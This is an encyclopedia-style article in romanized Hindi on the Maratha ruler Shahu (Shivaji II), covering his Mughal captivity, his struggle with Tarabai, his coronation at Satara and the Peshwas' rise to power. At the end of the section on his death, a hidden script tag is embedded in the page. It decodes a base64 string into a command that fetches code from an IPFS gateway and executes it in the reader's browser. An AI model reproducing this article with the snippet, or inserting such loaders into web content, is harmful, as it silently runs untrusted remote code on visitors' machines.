शाहू
shahoo (shivaji dvitiy), chhatrapati shivaji ka pautr tatha shambhuji ka putr aur uttaradhikari tha. jisane rajaram aur tarabaee ke pautr (shivaji tritiy) ko apani adhinata svikar karane ke liye vivash kiya. usi ke prayasoan se maratha samrajy ko ek shakti ke roop mean sanghathit kiya ja saka.
mugaloan ka bandi
1689 ee. mean rayagadh maharashtr ke patan ke bad shahoo, usaki maan yesoobaee evan any mahatvapoorn maratha logoan ko qaiand kar aurangazeb ke shivir mean nazaraband kar diya gaya. us samay shahoo balak tha aur vah bandi banakar mugal darabar mean laya gaya. usaka bhi vastavik nam shivaji tha. usako shivaji dvitiy ke nam se bhi jana jata tha. aurangazeb ki drishti mean shivaji pratham kapati the. at: donoan mean bhed karane ke lie usane shahoo ko sadhu kahana prarambh kiya aur yahi 'sadhu' shabd apabhransh roop mean shahoo ho gaya. 1707 ee. mean aurangazeb ki mrityu ke uparant samrat bahadurashah ne use mukt kar diya. adhik samay tak mugal darabar mean rahane ke karan shahoo ka drishtikon marathoan-sa n hokar mugaloan jaisa ho gaya tha. usake maharashtr lautate hi marathe do daloan mean vibhakt ho ge. ek dal usaka svayan ka tha tatha doosara dal isake chacha rajaram ke putr shivaji tritiy ka samarthak tha.
ekachhatr shasak
aurangazeb ki mrityu ke bad shahoo apane kuchh sathiyoan ke sath vapas maharashtr a gaya, jahaan par parasoji bhoansale (raghuji bhoansale tritiy), bhavi peshava balaji vishvanath aur ranoji sindhiya ne usaka sath diya. shahoo ne suyogy vyakti balaji vishvanath ko peshava ke pad par asin kiya. shahoo ne satara par ghera dalakar vahaan ki tatkalin shasika rajaram ki vidhava patni tarabaee (shahoo ki chachi) ke viruddh yuddh ki ghoshana kar di. tarabaee ne dhanaji jadav ke netritv mean ek sena ko shahoo ka muqabala karane ke lie bheja. aktoobar, 1707 ee. mean prasiddh 'khe da ka yuddh' hua, parantu kootaniti ka sahara lekar shahoo ne jadav ko apani or mila liya. tarabaee ne apane sabhi mahatvapoorn adhikariyoan ke sath panhala mean sharan li. shahoo ne 22 janavari, 1708 ee. ko satara mean apana rajyabhishak karavaya. shahoo ke netritv mean navin maratha samrajyavad ke pravartak peshava log the, jo chhatrapati shahoo ke paitrik pradhanamantri the, jinaki sahayata se shahoo marathoan ka ekachhatr shasak ban gaya.
shakti vistar
bajirav pratham tatha balaji bajirav ne, jo kramash: dvitiy tatha tritiy peshava hue, shahoo ki shakti evan satta ka uttari tatha dakshini bharat mean vishesh vistar kiya. vastut: shahoo ne peshava ka pad balaji vishvanath ke vanshajoan ko paitrik roop mean de diya tha aur svayan rajyakary mean vishesh ruchi n lekar shasan ka samast bhar peshavaoan par hi chho d diya. is niti ke phalasvaroop raja nahian apitu peshava hi maratha rajy ke sarvesarva ban gaye.
mrityu
1749 ee. mean shahoo ki mrityu ke bad peshava hi mool roop se maratha samrajy ke shasak ho ge. shahoo ne rajaram aur tarabaee ke pautr (shivaji tritiy) ko apana dattak putr banakar usaka nam ram raja rakha tha. parampara ke anusar ram raja ne satara mean apana darabar sthapit kiya, kintu vah peshava ke hathoan ki kathaputali hi siddh hua. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
tika tippani aur sandarbh
- (pustak 'bharatiy itihas kosh') prishth sankhya-448
- (pustak 'yoonik samany adhyayan' bhag-1) prishth sankhya-208